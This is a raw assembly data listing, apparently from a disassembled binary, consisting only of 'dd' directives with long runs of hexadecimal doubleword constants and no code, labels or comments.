dd 7619330Bh, 3CB8C2BAh, 0F6F3C222h, 0F096F9C0h, 8ED47C64h
dd 171A6200h, 70BD88FDh, 0E23D601Ah, 68F3EC90h, 3A613977h
dd 0E296347Bh, 18D769ECh, 181BFBFEh, 0CE853129h, 479575E6h
dd 0D25C303Eh, 31C83930h, 0A8EA72E0h, 81167897h, 0CF5AD66Fh
dd 0AA299C6Ah, 0EDF824E3h, 97C64E36h, 0CA471C57h, 0A00BBC50h
dd 14FA3AFBh, 0B9657053h, 6E259692h, 5A768F6Eh, 8654770Fh
dd 1B94FDC7h, 0DF2DAC4Ah, 3767A112h, 63789750h, 74920360h
dd 0A4A9BE68h, 855E9E4Fh, 6EB6D2B5h, 0DF1C4236h, 7DAB611Dh
dd 668A7398h, 376E5791h, 77CEA40Ah, 0BF46B46Ah, 75414732h
dd 8748A8BDh, 0EBA14D68h, 1149D781h, 0DC1AF3ADh, 0A9386F43h
dd 0B7B2BEA9h, 1FEB6005h, 3E93B787h, 3F5F0A46h, 7DDEFF54h
dd 870115C3h, 0A11320EFh, 0A48CAB0Ah, 0DF5F6C2Ah, 26E9CFF4h
dd 0D3D302D2h, 0FE5949F0h, 6D2C3388h, 0AB9146Ch, 0D6390AC8h
dd 3A43D677h, 3CF31758h, 0DB92203Eh, 18BDA278h, 2B47E8C3h
dd 0FE6F258Ch, 0C2E212C7h, 26156A93h, 5A8890B8h, 0BF20EF41h
dd 0A49B0E0Ah, 0DA7759FFh, 108EE867h, 86C7D6B5h, 0A329C72Ch
dd 492FC55Bh, 0B67CC0D1h, 0F8C5DDD8h, 0F8AF82C7h, 2378CB61h
dd 7E010DD2h, 19C665A9h, 0B9000F78h, 0FDD9FAA2h, 30F6AB3Bh
dd 6FD3A473h, 881D0065h, 3BA3513Bh, 3D1D10FEh, 0D65DD358h
dd 42B6839Eh, 0E170023Bh, 0A0B01191h, 91309B2Bh, 0C94537Ch
dd 38701FFBh, 0F35EE29Ch, 2FF5B4C9h, 0E356B0EFh, 74A84024h
dd 35385E84h, 3265ACF9h, 4DAFFC25h, 0FA387060h, 8FABD051h
dd 376C740h, 444708B9h, 30C66CC2h, 8BC4E34Eh, 426F86A3h
dd 97DCA8E3h, 299CC406h, 1D819E28h, 0AAE0B912h, 0F3C4F8E8h
dd 0E93180EFh, 7F82D4B9h, 0BE0962C7h, 86C1F90Fh, 7805B497h
dd 84E0DB20h, 4BF0B61Fh, 7E903D43h, 4B0A6144h, 3CAE5D86h
dd 0CED42C51h, 42932099h, 0AACCB00h, 0B8CFC578h, 647DC985h
dd 0E9287C08h, 172E0E8Eh, 40678295h, 6D7D4554h, 134236EAh
dd 0B8EB05D2h, 793F4FE2h, 1D434718h, 56C9963Ch, 7384B144h
dd 0CD7865ADh, 9E345466h, 4AF0104h, 996F5F22h, 0FCD12D35h
dd 0A51D8BE2h, 429F555h, 1C80FB2h, 0BF43D36Dh, 33F66228h
dd 78694A19h, 7D047634h, 0ADA194B0h, 51418B59h, 559FE462h
dd 0E2FF2B4h, 0DCA60BF0h, 0AC8BB9DEh, 2057FC64h, 6642C1DDh
dd 7225AB13h, 66CA9024h, 0EF83D271h, 7DA5C94Ch, 514A5CB5h
dd 18881492h, 7EAB8BB2h, 0BA95A788h, 0EE239B7Dh, 6A8F77Eh
dd 0B663EC7Bh, 7C615AC2h, 1AB3F9DDh, 4892B9D5h, 46753E9Ah
dd 0C46DA4D6h, 0ED7D6EBBh, 2B23BB15h, 9E62271Eh, 581661F7h
dd 0B253D935h, 0C8432143h, 6FDC20FEh, 398A3026h, 7A3A983h
dd 44239302h, 75A81937h, 4F6ADE69h, 586F849Ah, 686872B0h
dd 7CA00F45h, 2C74D7C8h, 6753EF57h, 745447D2h, 867E5751h
dd 524036A9h, 0CD44CED9h, 3E5EC67h, 8D1CD5CEh, 142CB76h
dd 1CB06CE0h, 0B580B09h, 0A8B72BD2h, 0D68A206h, 74486E50h
dd 0FCAC6419h, 0B20268E0h, 0F2C13DD8h, 0AA8D5E3Bh, 0B763684Fh
dd 393206AEh, 430367E9h, 7287457Bh, 0D5405B0Ch, 48466CC9h
dd 4467B59h, 848AC291h, 79D0779Ch, 8DE0BA0Eh, 280426F5h
dd 37C3C356h, 709E89ADh, 0B304AE5Bh, 81653996h, 68A6956Ah
dd 33E12847h, 74B25DABh, 193EB81Dh, 2AE56996h, 2D67BD33h
dd 29A1AF8Ah, 677CDF8Dh, 0BC020B2Eh, 1EECCF2Dh, 0A60FBB45h
dd 0D53A11E7h, 95C26CDAh, 0A45EFB93h, 34199016h, 7E1AC45Fh
dd 4EF01B88h, 8B4500D6h, 0AD764DC8h, 3BAD0184h, 27FA19Ch
dd 6B0798ADh, 0D6034085h, 6B388C68h, 2E295113h, 0FFEF6A97h
dd 781474E9h, 0C263C50Fh, 862C804Eh, 82C0520Ch, 6A6683A6h
dd 0A401EA4Eh, 4A12A90Eh, 1B1CF0ABh, 0A36CAEF3h, 0C5199490h
dd 50E8A4BAh, 1972E957h, 735A3664h, 656CEFE9h, 7A9B7840h
dd 597C6652h, 816B610Eh, 0B7AF9E1Bh, 0F9DEE484h, 18CCD9C6h
dd 678E10F4h, 1CCCB890h, 53498F60h, 0F19473EFh, 1F4CE040h
dd 313BEEAFh, 770CA00Bh, 15D66F64h, 0FA3509E7h, 5F9864F8h
dd 748C4F4Ah, 0B8D12AAFh, 0AD58E205h, 2262F8C8h, 96B51E25h
dd 0E66F17EBh, 0E915082Bh, 455DB14Eh, 0A0E74188h, 0A24BB69Eh
dd 6EA7FBEEh, 0EAE996CEh, 4DF9C112h, 0FE3AA8B7h, 2B3E20E6h
dd 67174489h, 85AC0FCBh, 65D5556Ch, 5259A567h, 98F0600Dh
dd 8FBEEF16h, 0EBCC397Dh, 91BCFE7Dh, 0FA44CBFFh, 81A9047Fh
dd 2143EFF7h, 0E3090657h, 0DDF8FB8Dh, 0E44DFCD2h, 0E443FA92h
dd 0E05D5ECh, 0EC002420h, 0B29B7846h, 0C4BA618Bh, 7C28A17Bh
dd 1D4A024Dh, 0D7845469h, 5DFC7A04h, 5868B460h, 40F452B7h
dd 0CF7EFE37h, 198CB31Dh, 9A973613h, 8A7F8FE0h, 80944EBh
dd 8B5CDBE0h, 0B749AEEDh, 5AF3C75Dh, 0FAA41AD8h, 3A1D9429h
dd 2E4E429Ch, 0D3CF037Ah, 63A34F3Ch, 8C812506h, 0D36CA7A6h
dd 6CC6FDAFh, 41982B78h, 6F55B296h, 17EB7E9Bh, 0B3690A2Ch
dd 50A7E455h, 7BAD50B9h, 4B5707E2h, 22B7621Ch, 604A1A22h
dd 1D064322h, 0C7764F56h, 7E022FD6h, 4C7E925Dh, 6898A96Bh
dd 0D2F4169Eh, 0A99220Fh, 4D43B6E1h, 34FAC076h, 5080C38h
dd 0B4A2173Eh, 0A17A0346h, 0F670DD8Bh, 0D2EA0E57h, 9EB2E46h
dd 28B83966h, 4E9EA78Ah, 0E3AADF73h, 3E542861h, 7281F7F1h
dd 0FBDE2F5Ah, 651BE85Ah, 34054FEFh, 4C7BAF6Bh, 0E9E0ADE1h
dd 0C2125507h, 0B93BBFF9h, 0A1168AD8h, 175E3957h, 0E1E7B2D5h
dd 2F11E8F5h, 0CDF48BC8h, 858BE140h, 0AE5AD61Dh, 0AD6F02C7h
dd 949E79D1h, 30843536h, 0BB481AF9h, 925C10A0h, 0F5CFA0h
dd 3D675933h, 0C394218Dh, 93074734h, 0E86F9678h, 0B2489C9Ch
dd 3F9EC38Eh, 54E1445Eh, 4B83BE0Dh, 0E55B7240h, 0BCA1573Bh
dd 225FE521h, 657EA0D9h, 0D62598F9h, 64CACEEBh, 0D33BF8E0h
dd 0CDD31D52h, 79F202A9h, 6D78171h, 0DE67EA44h, 1D0DA8FBh
dd 0D6499AE3h, 0D88AB539h, 0A96E8475h, 0FE0D63B7h, 7B984965h
dd 4F3CF246h, 0C35FFFB4h, 0E97598F9h, 439D0808h, 0B02F4F6Fh
dd 48BB049Ch, 445DA603h, 0DC53AC59h, 161CD70Ah, 9AD01C68h
dd 95E11023h, 10427647h, 64CEEADh, 0EFD8D5F7h, 0E6AC94D2h
dd 0AEAA895Eh, 0F79C10B2h, 0BA50F0BEh, 0BCADE216h, 0D02EB1A0h
dd 9D53A322h, 0B86F0965h, 8D508735h, 0C8B7F311h, 84581998h
dd 6A7DEE6Eh, 0A72571F2h, 0C4CDD4A8h, 62440D31h, 4254C28Ah
dd 0ABCD94EBh, 33CE380Eh, 0E03D0C1Fh, 0A49D6CA7h, 4E47A363h
dd 83F37FC4h, 8AFAADACh, 0B937B078h, 23858E0Eh, 1966E19Ah
dd 0F8CED70Dh, 6CC8FFE9h, 9A74EE0Dh, 6916A886h, 975F0B8Ch
dd 5150D4EFh, 7FB16C5Dh, 326C2CA2h, 772759FAh, 4D05E2DFh
dd 721EBD30h, 9B12180Eh, 0A854FA84h, 36C2F2CFh, 85EFEE72h
dd 4CDFB5CBh, 44AB4950h, 60363DEFh, 3CA08F4Ch, 0C43E5220h
dd 0D45392E2h, 2FEC1998h, 0DF457845h, 144E6DFAh, 31918104h
dd 91F49C9Ch, 0EBFC980Dh
dd 0B6EEC4CFh, 5B77B3F2h, 29B79397h, 0FB441DFFh, 4AE64147h
dd 74BD42B7h, 0CCD3ACCCh, 63924587h, 4BD08C33h, 0C8F12E25h
dd 0C30D8DBCh, 838B31ACh, 0E86B0572h, 0A95CCE1Dh, 63139555h
dd 7F9B207Ah, 0B5DAFA32h, 779843F4h, 336CA143h, 0AE41364Ch
dd 0E83DDC79h, 0BE7D6C30h, 0B749F3E9h, 6ED41856h, 64E64D24h
dd 0C63D2B1Fh, 4796DDE1h, 49136879h, 0B24788F8h, 0E6DCDEE8h
dd 0EE61E21h, 81C9C60Eh, 552959B5h, 0E38D58B8h, 3E291CBFh
dd 1BE8AF13h, 0FBA2BC9Ch, 0FF156427h, 45F2C3D7h, 659E2531h
dd 0CA2DFB5Ch, 88860F9Ch, 0FBF27940h, 31DFA874h, 833A2A5Ah
dd 89CA4E8Fh, 5DD22B1Dh, 62826C16h, 30F99EACh, 1E50253Fh
dd 36213D1Bh, 3076CE84h, 0BE03E832h, 0A3157E59h, 0C327DB4Eh
dd 0E56B6FBFh, 9F606CCBh, 11830523h, 0E54E676Ch, 4AE126DCh
dd 0A80BB168h, 0A95018B0h, 0FE4897E1h, 0EE4D2C46h, 0D70471D7h
dd 0A928F0C9h, 76B2158Dh, 871B3EE7h, 0E3A17DC2h, 0F197F6F0h
dd 5592C227h, 7A36B006h, 71DB538Dh, 5E2D38EDh, 0A25409A3h
dd 3A96303Dh, 0B189B8A3h, 0FF48FD7Bh, 84421374h, 79A84D48h
dd 0D3095B67h, 87A5A624h, 8A2E52DEh, 16A8D1FBh, 6ECC406Fh
dd 42B61AFFh, 0E935F61Fh, 0A0E44784h, 3CF910C5h, 0C846CAD1h
dd 6EEE7BA5h, 0E719A47Fh, 0C0DA64E5h, 0E9E947A0h, 0AB507FAEh
dd 0CC716117h, 0FEEB76FFh, 4DD4D46Fh, 0B45B1821h, 0FA20392Dh
dd 0D3BAB2C4h, 0DCFED718h, 6532F705h, 8732A478h, 0F79BDBFBh
dd 5FEA5789h, 0D4BC1002h, 0A438291Fh, 2A752210h, 0E6AAABE3h
dd 0FEF0D2EFh, 0AB884CDEh, 9F0A9C44h, 81B208B3h, 0DC9C8779h
dd 799B49A3h, 6119FF5Bh, 0D39FF17Dh, 6360F013h, 99A9B702h
dd 0B557292Dh, 9EE8C3ABh, 0F6652605h, 97D75EC3h, 781B16E8h
dd 9E30618Eh, 0BB925CD8h, 0C4EC1184h, 6EEEA477h, 0AAE07EBh
dd 0C61C0FEEh, 98A960CBh, 0C167C1Dh, 14B2C109h, 0E57120DBh
dd 3FE87CB1h, 81ECFC0Dh, 57D565C8h, 45F12D19h, 6F86E2E2h
dd 0B5E4BAB9h, 2530963Ah, 1DB0ED77h, 0BA8B0218h, 9AA5679Dh
dd 6A37B8BBh, 7535D632h, 4317ED1Dh, 13121150h, 54661F7Ah
dd 6530EA48h, 0A0D4B4C9h, 36A8C8B0h, 450B4F8Ch, 3EFDD2A0h
dd 1CFFEFA9h, 2DEB2852h, 0EAEBBA79h, 633713CCh, 1D208EB3h
dd 72C07B4Bh, 0A985C937h, 9591A9EEh, 706B5A6Eh, 647A81FBh
dd 0F8EED249h, 0E7045754h, 32974697h, 0F009D3AAh, 3A5A8A4Dh
dd 0F61C89DAh, 0E7C1FB96h, 72DB51CBh, 0A8AB4EE9h, 247BFD0Fh
dd 54CFB78Fh, 69A0D5C9h, 8D0D6FC1h, 163E1DF0h, 9A1B3FACh
dd 6FD28EA9h, 0DD76AB33h, 82F1DC4Dh, 39523D44h, 9149A35Ch
dd 4FF5732Dh, 0D1F62257h, 5BE833BBh, 9C873BA9h, 18E92C4Fh
dd 4AF58C0Ah, 0A9DEB0A3h, 0D012DD0Ch, 0C762E2AAh, 9FCF3337h
dd 5884AF68h, 0AD9FC87Ah, 23B45ABCh, 0A1681222h, 746A7E80h
dd 17335E6Ah, 0B577F8FBh, 3D87EC60h, 7D8EE4D9h, 0F0EC6596h
dd 0CABE0BBEh, 1B9ABAFBh, 80706F09h, 81302CFFh, 17B81A48h
dd 0C3B50ED8h, 570B2894h, 4B560B2Fh, 69A115F5h, 22654674h
dd 0ABC8071Fh, 9A73D4B0h, 0CC86EE8Fh, 9C4F4435h, 0E408F254h
dd 2E4E45DEh, 6AA3AC01h, 8E19A20Fh, 0E5172069h, 9C52AFF9h
dd 58DADDEh, 0F989DDD8h, 449895F0h, 0EE652910h, 0C7F04EB2h
dd 8ACA00CBh, 0BCDC827Dh, 76E0405h, 580AAEC4h, 0C8A25D24h
dd 1DEC77DAh, 2ABA53E3h, 0E51C8D0Bh, 7D95D7DFh, 0BF580960h
dd 5A38D04Bh, 0C752DA29h, 7BC416D6h, 95288B9Dh, 41A1E542h
dd 5266FB90h, 0A9A5A8C4h, 42833954h, 0D1CCFF1Dh, 0BA6D8D4Ah
dd 0FB90516Eh, 0C06C856Fh, 0DB0328A7h, 6D197C1h, 0BEAAF838h
dd 0C3D1A271h, 15676ECFh, 42B5A63Fh, 59303FECh, 0ED99DF64h
dd 0DAEB65E6h, 0CFBBA33Ch, 7222679Bh, 0F0D31600h, 6311910h
dd 1E25F625h, 72008A97h, 9D6F7615h, 3F3CF6C0h, 80A362E9h
dd 0B0EFD859h, 0CD273442h, 93A0462Eh, 0FA686BDCh, 0E6AD065Eh
dd 10F162C7h, 0D15256BBh, 3DB1EA80h, 0E779C5D3h, 0EDA25DEh
dd 0F513A0F2h, 3A81B25Bh, 0BF17C0DAh, 0D1BB3EF4h, 53362FE8h
dd 6FFF1F5Ah, 8F34456Bh, 46542585h, 2F5D615Eh, 814F1A8Dh
dd 1B64935Bh, 58B79FFBh, 8BF57636h, 0EF7B4C33h, 10EF4CBEh
dd 6C165D3Eh, 0F7E65F63h, 0F80F13A8h, 32FEDB0Fh, 228A78Fh
dd 0E6876B40h, 618A2713h, 23F825DCh, 0F0288EABh, 8E02A441h
dd 0AAE49F51h, 0E3A09210h, 0E3CAEA0h, 0A0A01116h, 0F1966E1Dh
dd 5CE498E5h, 76A0DE72h, 0F2C73F4Fh, 0ACF53E30h, 7669521Eh
dd 0A050C441h, 899A64BFh, 2942198Dh, 111ABEFDh, 0B86810DDh
dd 0BD0C580h, 929A34C3h, 0E408862h, 2FFAD7E4h, 7AD6840Ah
dd 15580D73h, 6BF77744h, 82F095B9h, 5C129F9Ch, 0B58C05A5h
dd 66AB7FC1h, 0FAC63D8h, 0CC06A9DFh, 92696309h, 4C7D50B4h
dd 90BA4B54h, 65D0E912h, 4C83D4B5h, 309B1618h, 1F7BB584h
dd 28383429h, 99FE915Bh, 8493EF1h, 0FCEC274Ah, 0B1968506h
dd 0FB610BDDh, 0E5989A8Ch, 385A1918h, 19A85184h, 60BBC957h
dd 12ECF9h, 0E01C0D8Dh, 0C2070E7Bh, 0A2F4CAD0h, 8BDCEAD7h
dd 0CAAFCDA3h, 4F3C53DAh, 6A54DB37h, 83984E2Ah, 0A85B003h
dd 524C8033h, 0C099D6E9h, 379603B3h, 3D1FF9FFh, 566DD745h
dd 34E780B2h, 0E30642F4h, 48FAF8F7h, 80CE1A11h, 0B376FA60h
dd 579E47ABh, 6202D6D1h, 0F1CD6F11h, 8C2F951Eh, 7C97A1C8h
dd 720221h, 982BB8C1h, 7B6BDCA7h, 0CD26D3F4h, 0D319F736h
dd 29CE5518h, 95D09F3Eh, 0E1A44A09h, 0F0A8DFBBh, 0AC138F5Ah
dd 0ED9C1A3h, 4094C6D8h, 1CF0E296h, 0C8056256h, 0CF47BAAh
dd 2BBE151h, 1744979Ah, 21149D39h, 5DD9951Ah, 83A4E341h
dd 0C0078CC3h, 0C969704Bh, 0EAF1F5C3h, 4050E079h, 643EFE1h
dd 13D396FAh, 63FDF91Fh, 1AAD984Dh, 0A568D55Ah, 2B25B23Ah
dd 0E0876291h, 3A19E5C1h, 8AF5F7EAh, 0E9E42AC1h, 9DE8E00Bh
dd 0CADF78F3h, 0D59A33BEh, 0B4CCB96Bh, 5B0D2A29h, 1F21DA86h
dd 80E98DCh, 0B8EA8500h, 388CD206h, 44A97DBEh, 0B791A5D4h
dd 0EC1EA7CBh, 90C064E0h, 4EE06DB4h, 841BA715h, 3EF19F25h
dd 0FD20745Eh, 834B61D9h, 81E73B06h, 9611AB0Eh, 1DC345B3h
dd 0C5231A10h, 5D0312F0h, 0D3BFC3F0h, 20AB42A5h, 9F9944DFh
dd 4EE660C3h, 24EBA258h, 0FEDBA5FFh, 270AE0AFh, 0D9C2B999h
dd 0E58E1AD0h, 67266AACh, 0F896A5CDh, 2BF00D06h, 0C0469858h
dd 6FCFDD27h, 0A63E076Eh, 0E587DF04h, 30217951h, 47508D2Bh
dd 2B5ECA27h, 0CA0CFD26h, 0DA1080F6h, 0BFF47586h, 3EAEAF76h
dd 19D50FAFh, 62521C77h, 9EF1E60Bh, 0FAF5E751h, 529987CAh
dd 0DC353D80h, 0C73E6559h, 0B5570BD7h, 7184313Dh, 0AB816A54h
dd 4E89754Dh, 757FC72Ah, 0E2BF2EADh, 9C73E862h, 3AD5F34Bh
dd 0A6466E96h, 0ADECED17h, 1D7D89Ch, 70747353h, 0D0350264h
dd 0CBF04F47h, 0DCAA56E6h, 0F292F64Ch, 0F79502B3h, 0F297E8B6h
dd 0BE65802h, 9F790652h, 0B26C42F4h, 9C5C707Eh, 9599DDAAh
dd 50A9A06Fh, 5AA7429Bh, 0DE2AB5F5h, 0F2C7C8ABh, 8193D5FAh
dd 5DD4DD7Bh, 0AC4119A9h, 71BC4BF5h, 563D983h, 1C529CEFh
dd 145DE255h, 7878FBEFh, 2D40EE36h, 0E5C5AA30h, 0E8FF434Ch
dd 0FB6DA712h, 9C58A10Ch, 754F4718h, 0E92C2CB3h, 6E49C174h
dd 0AA82B918h, 99F24AA3h, 2C596F0h, 0CA210135h, 0FB44ACE0h
dd 47E9C869h, 902D1D85h
dd 4FD29F55h, 0BAFC68EDh, 0F6337AFCh, 72FC6E50h, 0A037A6C8h
dd 2D17B2D7h, 3B0D5260h, 0DA552DFDh, 34E1E9B7h, 0E4AFCFD3h
dd 8234A591h, 0A030E9C4h, 0DA8B0DCAh, 0D272A27Eh, 79B10329h
dd 0D77840ADh, 0F8230DE2h, 8DD806F3h, 50989804h, 1B7F10F7h
dd 90E0FE31h, 0AC1CD2Dh, 0C9CCB682h, 31F81802h, 72A2C048h
dd 8FFD2359h, 0E11BF118h, 301EB720h, 0A9AFDF3Bh, 2FAA63CCh
dd 0BAAB2662h, 1C20549Bh, 71AE7DA8h, 4626F610h, 4A5BEFB4h
dd 285022C7h, 0D5AD65F0h, 824A9AF0h, 2AB86FFDh, 1B167E87h
dd 3FA4C9B3h, 6A63BAFFh, 93095831h, 5D2E15B8h, 6A57B788h
dd 0BA70E084h, 9B5BA34Eh, 40AB491Ch, 0B39BA8D7h, 0F4F78FC8h
dd 63E242A3h, 9F013122h, 2EF28D1Ch, 0D62611Ah, 3DBF211Dh
dd 3FC0E279h, 6A29A7A7h, 1794311Dh, 0A0A7282Ch, 0B51BA014h
dd 7F75BBD6h, 84E529FAh, 669872ABh, 588732F2h, 5F4E4C9h
dd 0D13C1925h, 0D2F89A1Eh, 9BF58CDDh, 8381CFCBh, 0D06AA385h
dd 0FFBE7453h, 95A6130Fh, 0B9AB08C8h, 7D601120h, 5DB9E486h
dd 2D0B78A3h, 8578EB83h, 7C05C3CBh, 23E53991h, 6F23CBB6h
dd 0E6AC762Bh, 13F72966h, 0C49BFAC3h, 9990CD44h, 90C9D288h
dd 4464577h, 0A448879Fh, 4A1A83F1h, 95011AEEh, 0BD61E158h
dd 97D7F130h, 548164A3h, 0E83D9F30h, 9D8026A6h, 0D148A5C1h
dd 3EA94131h, 0F5D51E41h, 0EFBF6839h, 0EE796940h, 58CF6504h
dd 170F0931h, 0C55C9A2h, 1A250190h, 7B47ABF1h, 4C392264h
dd 9B0BD418h, 31E2F0E4h, 0E6FD4C0Eh, 2CD3257h, 0A6EE7FA2h
dd 0BC941C83h, 0F710F138h, 0A1D09F97h, 0BEC02665h, 5CD1396Fh
dd 0CF509862h, 678059BAh, 0C31AD2C8h, 34573327h, 558FDF1Eh
dd 2BB89777h, 6C99B116h, 55F01C76h, 1BDBD235h, 713CC7A8h
dd 0B3159608h, 890FD5A3h, 629B2AE7h, 0A0F64F97h, 0B3A5C309h
dd 2EDF045Dh, 46004618h, 0C93680DDh, 0C4FC93DFh, 92B37D45h
dd 7E4D0E79h, 6B696759h, 0E88DA82h, 0BA6F3732h, 4FE3257Bh
dd 7B1B29Ah, 0A6273E61h, 84A8B5BBh, 4DA0A58Ch, 0CEAE394Eh
dd 8449CBB6h, 0FF6152E8h, 0D48D6A71h, 0FF382C70h, 70D3F6BDh
dd 0E5D3BE50h, 446FDE8Dh, 0EACD4EE7h, 72F3D099h, 63EBC3D3h
dd 759CB6E1h, 27EE6AACh, 8F44E7E8h, 496C85E6h, 4D2C15CEh
dd 0F77465F8h, 72A6110Eh, 0B5EF9687h, 0F557DD91h, 3FB612D9h
dd 5DE0E7FBh, 0D7C363E2h, 0F6EA469h, 8CE497A6h, 7372224h
dd 0EEF85A81h, 0C1C0EBACh, 0C050082Ah, 51BDB0BDh, 407C0130h
dd 0B108DAEBh, 0D5499C8Fh, 94564D5Bh, 0CB9F245Bh, 88EACA95h
dd 594AE727h, 0F39BADF9h, 4358B9CCh, 69D95366h, 0EE949E53h
dd 4840A638h, 9F1012B5h, 6AA8F531h, 7CA20E0Bh, 9366A352h
dd 663D9DE4h, 9BFF1E83h, 94C4FB07h, 2296DD96h, 0DCB1493Ah
dd 50CC5A0Dh, 60D8608Ah, 0ED21251Eh, 50FCD31h, 4C1267C6h
dd 9F15A83Ah, 39BE2707h, 4B20D71Ch, 0D6B9F893h, 0C07E67B9h
dd 6DE4CABBh, 0B6D00B08h, 0F383AE18h, 0AA432621h, 2FACF692h
dd 9A7B87B4h, 1C0FDB82h, 88B53551h, 1A3A5605h, 4DF38838h
dd 86BFDB06h, 0AD9DBEC6h, 1CC4AAF9h, 0E09E0B4h, 0E73B5621h
dd 9BDD430Dh, 62EF244Bh, 827B343Fh, 0F3D32E65h, 0D47C5EBDh
dd 7DD11D6Ch, 0F396305Dh, 6649C452h, 5E193AA8h, 0C33AF532h
dd 7A5C0012h, 0D439652Fh, 7ECAC92Ch, 0ADF4A773h, 29A5C8B6h
dd 0A6FACBAh, 0CFCA2B40h, 0D41DF9BAh, 1711230Ch, 7497D626h
dd 4DDE614Ah, 0A5A15784h, 83202724h, 764AC037h, 83847253h
dd 7B0962D9h, 8FF2F587h, 0EE18B4A1h, 6E54409Dh, 77EDE5E0h
dd 5ED99745h, 0ADAB9673h, 35CEFC72h, 18CFC937h, 0AE279F6Ch
dd 9341E131h, 15F8E659h, 0AC78568Bh, 6E2CA101h, 3A84944Bh
dd 0B208A762h, 61431281h, 0A3165CC2h, 0F58481Bh, 856A50CEh
dd 0B3D24B4Fh, 0D7D68430h, 822B42EAh, 12649967h, 19B4FAA9h
dd 87F5842Ch, 0DBD47C3Bh, 0C4FC20FCh, 6CE7C332h, 3AE83D63h
dd 9AC2FC72h, 71D9104Dh, 0D64040Eh, 8A75064h, 0C0E34AFCh
dd 6DAB50D2h, 0E5E03BA8h, 0D38D6C34h, 161D92AEh, 76D83C76h
dd 6F3CB140h, 8F982E27h, 63DD462Eh, 0B2491E1Ch, 0B46F7B3Bh
dd 0AE8AD6D9h, 987FF1BAh, 0F9265C4Fh, 59C1F7F4h, 0EC3EC42h
dd 3A49A9EDh, 60C5B893h, 44A4EEB8h, 52F5EE5Ch, 6E47E025h
dd 0B09E4448h, 0D183D612h, 0C78EAABAh, 94B7803Ch, 0D64C49FFh
dd 0EEC0D73Fh, 784A6DCFh, 8E4ED6CCh, 80AA18F6h, 1DD1C622h
dd 0B8C408E4h, 7E692F9Bh, 18B5B852h, 0EBA628D3h, 82A36CF3h
dd 0A84E29F7h, 0AE838090h, 0D3008D53h, 1A0C8AF9h, 405D2B8Dh
dd 0EDEB1ABFh, 9D13B470h, 0B2B2B189h, 0E732C070h, 113326F8h
dd 0A1B43CFBh, 12C2D402h, 65CA8542h, 0D0D35047h, 83E807D8h
dd 4F2BA718h, 3F452B77h, 17EB3454h, 0C938032Eh, 2F8C436Ch
dd 0C3D7EE8h, 0F8A83A97h, 0EC0C1121h, 7D54C14Fh, 0DD9D07D8h
dd 0B64D0334h, 4B7EA6F4h, 0F420BAE1h, 93DCAF93h, 598D3079h
dd 916DE7E7h, 265090F1h, 0D1FCB0C9h, 0D35AB14Bh, 4FF56C6Ah
dd 1806493Ch, 7540BA3Dh, 0B3A96AF6h, 3A1DE8E0h, 0F6EC36DDh
dd 0EBE21E6h, 0C8CEA39Ch, 8F95FD8Dh, 7E4E390Fh, 6BE3CBD4h
dd 1ECD04h, 31FAA18Eh, 0B01C2EE3h, 18DF51DDh, 0A6E2CA14h
dd 51509111h, 0F9658EBEh, 62F31617h, 96B81ADFh, 0D76C71Fh
dd 1844A9C8h, 0D15FAB57h, 2C0839BFh, 0F0AAA5FCh, 7AB58F41h
dd 24E1E12Bh, 56474CC8h, 5AF62BA6h, 2330C354h, 46768859h
dd 8C822CF7h, 21134259h, 55A70719h, 94F75D16h, 0BDBAE1E7h
dd 901BE120h, 265A52Dh, 0CC430339h, 6910B16Dh, 81ECC3A0h
dd 0AC4D7A9Bh, 94F03D9Bh, 0C2B2C1FDh, 1B6306Fh, 0BAECE2B6h
dd 92F85539h, 28F68FF5h, 899E9361h, 0D05D826h, 7966377Ch
dd 2C4C2BD2h, 0C65381FBh, 93583DC5h, 0A1EFBD4h, 92ADFA71h
dd 89CDBB7Bh, 28467D1Fh, 68FEE314h, 9362257Dh, 35B5066Ah
dd 669C1B19h, 0B64E6D7Eh, 98DC9B93h, 7B672D43h, 203D3DE8h
dd 8B281246h, 0D8140FF7h, 70F197BFh, 3833AC30h, 7BF877C5h
dd 3B5E08BCh, 58293089h, 0B66E3237h, 0CF8B6E9Ch, 540EA625h
dd 37C9ED42h, 5BFCB534h, 3175F5E7h, 17D157BBh, 0B2411DD3h
dd 0CC5C1A21h, 0D67D616Eh, 0C9C647Fh, 2E354783h, 9795FFAAh
dd 205F3E51h, 0E9CEB145h, 0FF2F8263h, 0D0155DB8h, 4122BCB0h
dd 6DC644E1h, 0A8A1A4B3h, 75F12AC5h, 4176068Bh, 8D67E330h
dd 0FCBF1CDh, 3DB12A87h, 5E7427C4h, 14DB0F6Dh, 8761CF02h
dd 88F9E9BDh, 0D2C80835h, 0DAB90BB7h, 0ABF517A7h, 18BA443Fh
dd 8DDF788h, 34E7053Bh, 4EA19399h, 64A70686h, 0DFC9F9FCh
dd 0EF81984Bh, 0B3C0A4D6h, 0A4BEB114h, 0EC3BD61Dh, 696EE53Eh
dd 79B92724h, 0C6E669B3h, 24F9131h, 7FB562CDh, 48766162h
dd 5E13BC73h, 9EFFBA19h, 17BFDC33h, 8DB0C3B8h, 348B87FCh
dd 0E4022764h, 0ACEBE380h, 0C057BE7Dh, 0C1E8B99Ah, 0C4E44B90h
dd 0E3CA6FA5h, 36E80257h, 77B498F8h, 0C3BBE589h, 9D134F4Dh
dd 330264AEh, 0EDB90E1Dh, 26B79370h, 0C5ABF679h, 8DCCA9EEh
dd 0A2530A79h, 31DE4F48h, 6B0CB358h, 77B53329h, 0B72581D5h
dd 0DE0C50C0h, 12EE72EBh, 57431BC8h, 8762D8EEh, 25F46AC8h
dd 5918B22h, 8C1CF21Ch, 13902044h, 7D74F327h, 7F2E3048h
dd 0AEEF98F3h, 55FD629Dh, 2CDC8A5Bh, 0A9B3B57h, 54186D52h
dd 0F452CD4Ch, 57029ED4h
dd 83C843DBh, 0FAE42D9Ah, 70AE7F26h, 525F1353h, 0A77F7692h
dd 4DC98FF4h, 645AD4Eh, 1FBBD19Ch, 9E93B4A8h, 45FB3507h
dd 217668FCh, 0B85C0DC2h, 0F8D1F85h, 0ADEE57DFh, 6EF56722h
dd 0D3CDFEC7h, 5DE20D88h, 0DC74C280h, 9377ECC0h, 1EC7E649h
dd 9AA458D2h, 0ED9F810h, 0AA8C8918h, 90440DEDh, 0FD36FC89h
dd 1AB9E3C3h, 567824B1h, 0EEC47459h, 5118E470h, 1DBCE047h
dd 9D084484h, 5C3F4174h, 9E27DCCDh, 605812A9h, 937B9BAFh
dd 0C471CB36h, 25BA40B4h, 2400DF88h, 0FF5BC063h, 9800CF11h
dd 1DC5F85Ch, 0A3CB4BD3h, 802CF76Bh, 0A4553CDFh, 0DF946EB0h
